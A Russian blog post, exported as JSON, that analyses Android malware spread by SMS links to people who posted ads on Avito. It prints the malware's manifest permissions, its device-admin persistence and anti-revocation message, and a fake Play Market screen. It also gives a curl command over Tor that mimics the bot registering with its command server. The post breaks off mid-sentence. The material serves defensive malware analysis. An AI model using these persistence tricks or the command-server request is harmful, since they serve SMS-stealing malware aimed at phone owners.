{"id":273231,"date":"2016-01-30T01:02:02","date_gmt":"2016-01-29T22:02:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=273231"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=273231","title":{"rendered":"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u043f\u043e\u0434 Android"},"content":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/47c\/957\/e5e\/47c957e5e06c4d81899b1149cef9c61a.png\" height=\"190\"\/><br \/>  \u0427\u0430\u0441\u0442\u043e \u0432\u0438\u0440\u0443\u0441\u044b \u0434\u043b\u044f android \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u043a \u043d\u0430\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a. \u0420\u0430\u043d\u044c\u0448\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u0421\u041c\u0421, \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0435\u0449\u0435 \u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u044b. \u041c\u043d\u0435 \u0431\u044b\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u0436\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0438 \u043f\u043e\u0434\u0430\u043b\u0430 \u043f\u0430\u0440\u0443 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 avito.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0421\u043f\u0443\u0441\u0442\u044f \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043d\u0438\u043b\u0438 \u0438\u0437 \u0441\u0430\u043b\u043e\u043d\u0430 \u043a\u0440\u0430\u0441\u043e\u0442\u044b Desheli \u0438 \u043f\u0440\u0438\u0433\u043b\u0430\u0441\u0438\u043b\u0438 \u043d\u0430 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u0443\u044e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443, \u0432\u0440\u043e\u0434\u0435 \u043a\u0430\u043a \u043f\u043e\u0434\u0430\u0440\u043e\u043a \u043e\u0442 \u043a\u043e\u0433\u043e-\u0442\u043e \u0438\u0437 \u0434\u0440\u0443\u0437\u0435\u0439. \u0421\u043c\u044b\u0441\u043b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043e\u043d\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e \u0443\u0433\u043e\u0432\u0430\u0440\u0438\u0432\u0430\u044e\u0442 \u0432\u0437\u044f\u0442\u044c \u043a\u0440\u0435\u0434\u0438\u0442 \u043d\u0430 \u0438\u0445 \u043a\u043e\u0441\u043c\u0435\u0442\u0438\u043a\u0443. \u0422\u0435\u043c\u0430 \u0441\u0442\u0430\u0440\u0430\u044f, \u0438\u0437\u0431\u0438\u0442\u0430\u044f, \u043d\u043e \u0432\u0441\u0435 \u0435\u0449\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0410 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0437\u0432\u043e\u043d\u0438\u043b\u0438 \u0435\u0449\u0435 \u0438\u0437 \u0447\u0435\u0433\u043e-\u0442\u043e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e, \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0443\u0442 \u0443\u0436\u0435 \u0447\u0435\u0441\u0442\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0431\u0430\u0437\u0430 \u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0412\u0441\u044f\u043a\u0438\u0439 \u0440\u0430\u0437, \u043a\u0430\u043a \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043a\u043e\u043d\u0442\u043e\u0440\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0441\u044f \u0443\u0436\u0430\u0441\u043d\u044b\u0439 \u0448\u0443\u043c, \u044f\u0432\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0442\u0430\u043a. \u0422\u043e, \u0447\u0442\u043e \u043d\u043e\u043c\u0435\u0440 \u0432\u0437\u044f\u043b\u0438 \u0441 avito, \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e \u043c\u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u043b\u0438\u0441\u044c \u043f\u043e \u0442\u043e\u043c\u0443 \u0438\u043c\u0435\u043d\u0438, \u0447\u0442\u043e \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0430 \u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0438.<\/p>\n<p>  \u0410 \u0442\u043e, \u0440\u0430\u0434\u0438 \u0447\u0435\u0433\u043e \u044d\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u0442\u0435\u0432\u0430\u043b\u043e\u0441\u044c, \u043f\u0440\u0438\u0448\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u043d\u0435\u0434\u0435\u043b\u044c. \u041c\u043d\u0435 \u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u0434\u0440\u044f\u0434 3 \u0441\u043c\u0441 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f.<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/97f\/0e3\/3af\/97f0e33af8784a208b0e8bbb144b139e.png\" height=\"100\"\/><br \/>  \u0427\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0438\u0437 3 \u0441\u0441\u044b\u043b\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0431\u044b\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043d\u0430, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0431\u044b\u043b\u0430 \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043c\u0441.<\/p>\n<p>  \u0421\u043a\u0430\u0447\u0435\u043d\u043d\u044b\u0439 avito.apk \u0432\u0435\u0441\u0438\u0442 437\u043a\u0431. \u042d\u0442\u043e \u043c\u043d\u043e\u0433\u043e. \u0422\u0430\u043a\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u0437-\u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 android.support.v7, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0443\u0442 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. \u0415\u0441\u043b\u0438 \u0435\u0451 \u0443\u0431\u0440\u0430\u0442\u044c, \u0431\u0443\u0434\u0435\u0442 ~50\u043a\u0431. <br \/>  \u041e\u0442\u0447\u0435\u0442 <a href=\"https:\/\/www.virustotal.com\/ru\/file\/f8fa9b16e5c7da01e437c1264d6246a409ab7f001b53fe7b9d28bbaa080f2d70\/analysis\/1453903789\/\">virustotal<\/a> <br \/>  \u0421\u0443\u0434\u044f \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0432, \u0441\u043e\u043c\u043d\u0435\u043d\u0438\u0439 \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u2014 \u044d\u0442\u043e \u0437\u043b\u043e\u0432\u0440\u0435\u0434, \u0435\u0449\u0435 \u0438 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439<\/p>\n<p>  \u041d\u0430\u0447\u043d\u0435\u043c \u0441 AndroidManifest.xml<\/p>\n<p>  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u0430\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"xml\">    &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WAKE_LOCK&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_CONTACTS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.CALL_PHONE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.GET_ACCOUNTS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.VIBRATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.PROCESS_OUTGOING_CALLS&quot; \/&gt; <\/code><\/pre>\n<p>  \u0412\u0441\u0435 \u043f\u0440\u0430\u0432\u0430 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b, \u043a\u0440\u043e\u043c\u0435 android.permission.VIBRATE, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u0441\u0435 \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043a\u043e\u0434\u0430 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 android.permission.WRITE_EXTERNAL_STORAGE. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438\u0437 \u043a\u043e\u0434\u0430 \u0443\u0434\u0430\u043b\u044f\u043b\u0438 \u043b\u0438\u0448\u043d\u0435\u0435 \u0438\u043b\u0438 \u0437\u0430\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0438 \u043d\u0435 \u0434\u043e\u043f\u0438\u0441\u0430\u043b\u0438.<\/p>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u043f\u043e \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0443 DEVICE_ADMIN<\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0435\u0433\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0434\u0430\u043b\u0438\u0442\u044c, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043d\u044f\u0442\u044b \u043f\u0440\u0430\u0432\u0430 \u0432 \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438-\u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c-\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430<\/p>\n<pre><code class=\"xml\">   &lt;receiver          android:label=&quot;\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f&quot;          android:name=&quot;app.six.MyAdmin&quot;         android:permission=&quot;android.permission.BIND_DEVICE_ADMIN&quot;&gt;             &lt;meta-data android:name=&quot;android.app.device_admin&quot; android:resource=&quot;@layout\/policies&quot; \/&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.app.action.DEVICE_ADMIN_ENABLED&quot; \/&gt;             &lt;\/intent-filter&gt;     &lt;\/receiver&gt; <\/code><\/pre>\n<p>  layout\/policies.xml:  <\/p>\n<pre><code class=\"xml\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;device-admin&gt;     &lt;uses-policies \/&gt; &lt;\/device-admin&gt; <\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u0430\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c:<\/p>\n<p>  \u00ab\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Google Play.<br \/>  \u0411\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0439 \u041a\u043e\u043d\u0442\u0435\u043d\u0442.<br \/>  Google \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0442\u044c \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u041a\u043e\u043d\u0442\u0435\u043d\u0442.<br \/>  \u041a \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u043c\u0443 \u041a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0435 \u0436\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u0447\u0442\u043e \u0438 \u043a \u043a\u0443\u043f\u043b\u0435\u043d\u043d\u043e\u043c\u0443, \u043a\u0440\u043e\u043c\u0435 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u043f\u043b\u0430\u0442\u043e\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u043c\u0443 \u041a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0423\u0441\u043b\u043e\u0432\u0438\u0439 \u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0435 \u0443\u043f\u043b\u0430\u0447\u0435\u043d\u043d\u043e\u0439 \u0446\u0435\u043d\u044b).<br \/>  Google \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043b\u0430\u0433\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0430\u0448 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u043c\u0443 \u041a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u0438 \u043d\u0430 \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0430\u043c\u0438.\u00bb<\/p>\n<p>  \u0410 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u2014 \u00ab\u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435, \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438! \u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c?\u00bb<br \/>  \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u042d\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0448\u0430\u043d\u0441 \u043e\u0442\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<pre><code class=\"java\">public CharSequence onDisableRequested(Context ctx, Intent paramIntent) {         return &quot;\u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435, \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438! \u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c?&quot;;     } <\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437. <\/p>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u0432\u0438\u0434\u0438\u043c \u0444\u0435\u0439\u043a \u043d\u0430 Google Play, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0439 \u0432 \u0441\u0442\u0430\u0440\u043e\u043c \u0434\u0438\u0437\u0430\u0439\u043d\u0435, \u0435\u0449\u0435 \u0434\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c. <\/p>\n<pre><code class=\"xml\">      &lt;activity                    android:theme=&quot;@*android:style\/Theme.Light.NoTitleBar.Fullscreen&quot;                    android:label=&quot;Play \u041c\u0430\u0440\u043a\u0435\u0442&quot;                    android:icon=&quot;@drawable\/market_icon&quot;                    android:name=&quot;app.six.CardAtivity&quot;                    android:screenOrientation=&quot;portrait&quot;                    android:configChanges=&quot;keyboardHidden|orientation&quot;        \/&gt; <\/code><\/pre>\n<p>  \u0417\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442 <\/p>\n<pre><code class=\"xml\">  &lt;receiver android:name=&quot;app.six.MainReceiver&quot;&gt;             &lt;intent-filter android:priority=&quot;100&quot;&gt;                 &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.USER_PRESENT&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.PHONE_STATE&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.NEW_OUTGOING_CALL&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;service android:name=&quot;app.six.MainService&quot; \/&gt;         &lt;activity                    android:label=&quot;@string\/title_activity_adm&quot;                    android:name=&quot;app.six.AdmActivity&quot;                    android:launchMode=&quot;singleTask&quot; \/&gt;     &lt;\/application&gt; &lt;\/manifest&gt; <\/code><\/pre>\n<p>  <b>android.provider.Telephony.SMS_RECEIVED<\/b> \u2014 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043c\u0441, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439<br \/>  <b>android.intent.action.BOOT_COMPLETED<\/b> \u2014 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430<br \/>  <b>android.intent.action.USER_PRESENT<\/b> \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e<br \/>  <b>android.intent.action.PHONE_STATE<\/b>, <b>android.intent.action.NEW_OUTGOING_CALL <\/b> \u2014 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u0435 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/p>\n<p>  \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0434\u0430\u043b\u044c\u0448\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043e \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u041d\u043e \u043e\u043d\u043e \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0435\u0433\u043e \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0443\u0441\u043f\u043e\u043a\u043e\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. <br \/>  \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0441\u043c\u043e\u0433 \u0432\u044b\u0437\u0432\u0430\u0442\u044c Activity \u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0440\u0435\u0448\u0438\u043b \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c04\/898\/1d7\/c048981d7f4549b6be8afe5f2b86de5e.png\" height=\"400\"\/><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/564\/78b\/6f0\/56478b6f009047b49d024190595a802f.png\" height=\"400\"\/> <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/d17\/dbb\/ab1\/d17dbbab116a4816817d1d51a55fa364.png\" height=\"400\"\/><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/199\/f6a\/deb\/199f6adebbf64cbfa011f7203743f4b7.png\" height=\"400\"\/><\/p>\n<p>  \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0430\u0432\u0442\u043e\u0437\u0430\u043b\u0438\u0432\u0430 \u043f\u043e \u0441\u0431\u0435\u0440\u0431\u0430\u043d\u043a\u0443 \u0443 \u0431\u043e\u0442\u0430 \u043d\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u043e\u0441\u044b\u043b\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0443\u043a\u0430\u043c\u0438. <br \/>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0431\u043e\u0442\u0430 <\/p>\n<p>  <code> curl --socks5 127.0.0.1:9050 --data &quot;mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline&quot; http:\/\/url.com\/controller.php  <\/code><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0431\u043e\u0442\u0443 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f 